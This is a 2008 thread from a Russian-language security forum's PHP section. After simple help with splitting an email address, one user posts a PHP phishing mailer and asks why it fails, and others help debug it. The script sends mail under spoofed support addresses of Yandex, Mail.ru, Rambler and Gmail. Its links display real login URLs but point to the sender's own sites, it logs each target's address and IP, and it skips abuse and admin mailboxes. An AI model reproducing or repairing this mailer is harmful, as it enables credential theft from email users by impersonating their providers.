HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > ПРОГРАММИРОВАНИЕ > PHP
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #6991  
Старый 16.12.2008, 21:43
ntldr
Постоянный
Регистрация: 04.12.2007
Сообщений: 424
Провел на форуме:
2364957

Репутация: 479
По умолчанию

PHP код:
$who "dada@yandex.ru";
explode("@",$who);
$email_domain=$who[1]; 
А лучше так

Последний раз редактировалось ntldr; 16.12.2008 в 21:48..
 
Ответить с цитированием

  #6992  
Старый 16.12.2008, 21:53
m0Hze
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
Провел на форуме:
6462214

Репутация: 3171


По умолчанию

Выводит "а"
Неработает,и старый,ни новый вариант.
 
Ответить с цитированием

  #6993  
Старый 16.12.2008, 21:56
Kaimi
Познавший АНТИЧАТ
Регистрация: 23.08.2007
Сообщений: 1,237
Провел на форуме:
18127311

Репутация: 1676


Отправить сообщение для Kaimi с помощью ICQ
По умолчанию

PHP код:
$who "dada@yandex.ru"
list(
$name,$domain) = explode('@'$who);

print 
$domain
 
Ответить с цитированием

  #6994  
Старый 16.12.2008, 22:10
m0Hze
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
Провел на форуме:
6462214

Репутация: 3171


По умолчанию

Намуливал скрипт,для своего удобства,с помощью ачата =)
Но почимуто не отправляет письма =( обидно блин.Посмотите,где я ошибся то...если не сложно.
PHP код:
<form method = "POST">
    
<font size = 2>Ящик:<br></font>
<input type = "text"
     name = "who"
     value = "">
<br>
Имя владельца.:
<br>
<input type = "text"
     name = "nick"
     value = "">
 <br>
<input type = "submit"
     value = "Отправляем!">
</center>
</form>
<?
preg_match
('#(.+)@#',$who,$m);
list(
$name,$domain1) = explode('@'$who);
$date_today date("d.m.y");
$ip $_SERVER['REMOTE_ADDR'];
if(
in_array($domain1, array('support','help','admin','abuse','soft','mail','administrator','info'))){
    {
    echo 
'<center><font color = "red" size = "4">На эти адреса отправка невозможна.</font>';
    die();
    }
    }else{
{
$topic file_get_contents('topic.txt');
$message file_get_contents('all.txt');
if(
$domain1 'yandex.ru'){
    {
    
$url "<a href = \"http://mysite.ru/?start=unblocked&2008$dig\">http://passport.yandex.ru/cgi-bin/?start=unblocked&2008$dig</a>";
    
$from "Yandex.Support <support@corp.yandex.ru>";
    
$company "Яндекс.Ру";
    }
    }elseif(
in_array($domain1, array('mail.ru','bk.ru','list.ru','inbox.ru'))){
        {
            
$url "<a href = \"http://mysite2.ru/cqi-bin/?start=unblocked&2008$dig\">http://win.mail.ru/cgi-bin/?start=unblocked&2008$dig</a>";
            
$from "Support@Mail.Ru < support@support.mail.ru>";
            
$company "@Mail.Ru";
        }
        }elseif(
$domain1 'rambler.ru'){
            {
                
$url "Сервис недоступен";
                
$from "Support@Rambler.ru <support@corp.rambler.ru>";
                
$company "@Rambler.Ru";
            }
            }elseif(
$domain1 'bigmir.net'){
                {
                    
$url "Сервис недоступен";
                    
$from "Support@Bigmir.ru <support@corp.bigmir.net>";
                    
$company "@Bigmir.Net";
                }
                }elseif(
in_array($domain1, array('gmail.com','gmail.ru','gmail.net'))){
                    {
                        
$topic file_get_content(g_t.txt);
                        
$from "Gmail Team <mail-noreply@qooqle.com>";
                        
$company "Gmail Team";
                        
$message file_get_contents('google.txt');
                    }
                    }else{
                        {
                            echo 
'<font color = "red" size = "20">Данный почтовый сервис не поддерживаеться системой</font>';
                            die();
                        }
                    }
                    
$fp fopen("logs.php","a"); //открыть файл 
fwrite($fp"Кому: $who IP: $ip Время: $today \n <br>"); //записываем данные 
fclose($fp); //закрываем 
//Записываем
$dig rand(100000000000,999999999999);
//Случайное число
$headers "From:".$from."\r\nReply-To:".$from."\r\n"
$headers .= "MIME-Version:1.0\r\n"
$headers .= "Content-Type: text/html;"
$body .= $message."\r\n\r\n"
mail($email$topic$body$headers); 
//Отправляем
}
    }
echo 
'</center></body></html>';
?>
 
Ответить с цитированием

  #6995  
Старый 16.12.2008, 22:12
m0Hze
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
Провел на форуме:
6462214

Репутация: 3171


По умолчанию

Cj,cndtyyj ошибки пыхыпы не кажет,но и письма не отправляет.Если вы не найдете ошибку,то значит все дело в другом,и я даже догадываюсь в чем...
 
Ответить с цитированием

  #6996  
Старый 16.12.2008, 22:22
m0Hze
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
Провел на форуме:
6462214

Репутация: 3171


По умолчанию

Может фалы нужные создаш?Чет у тебя совсем стремный сервер.В тех строках в которых у тебя пишет нет ошибок.
 
Ответить с цитированием

  #6997  
Старый 16.12.2008, 22:23
m0Hze
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
Провел на форуме:
6462214

Репутация: 3171


По умолчанию

Он у тея чтото про переменные вякает.С нми все норм.Смотри на другом сервере...
 
Ответить с цитированием

  #6998  
Старый 16.12.2008, 22:24
159932
Постоянный
Регистрация: 28.09.2007
Сообщений: 820
Провел на форуме:
6722038

Репутация: 1385


По умолчанию

Цитата:
Сообщение от b3  
ошибок нет
это был сарказм ? ошибок ведь действительно нет .. а неопределённые переменные, и то, что у тебя нет файлов - имхо, это не ошибки ..
лучше конечно всё определять итд.. но если впадлу, то моно и этого не далать
 
Ответить с цитированием

  #6999  
Старый 16.12.2008, 22:34
m0Hze
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
Провел на форуме:
6462214

Репутация: 3171


По умолчанию

НЕ понятно слово "конкатенацию"
Но елси тот же скрипт отправки юзать в просто скрипте,где все дано и вписано(я имею ввиду основные переменные) то все пучком.А именно в моем нихера.Работает только функция отделения имени,и опредедения заперещенных имен ящико(админ,супорт,ит.д.)
 
Ответить с цитированием

  #7000  
Старый 16.12.2008, 22:37
m0Hze
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
Провел на форуме:
6462214

Репутация: 3171


По умолчанию

Вот думаю сейчас,попробывать все это дело переписать под switch, v;tn тогда попрет?)
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[c/c++] Новичкам: задаем вопросы _Great_ С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby 5421 21.04.2026 07:37
Интернетчики задали российскому президенту очень странные вопросы podkashey Мировые новости. Обсуждения. 4 07.07.2006 16:53
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ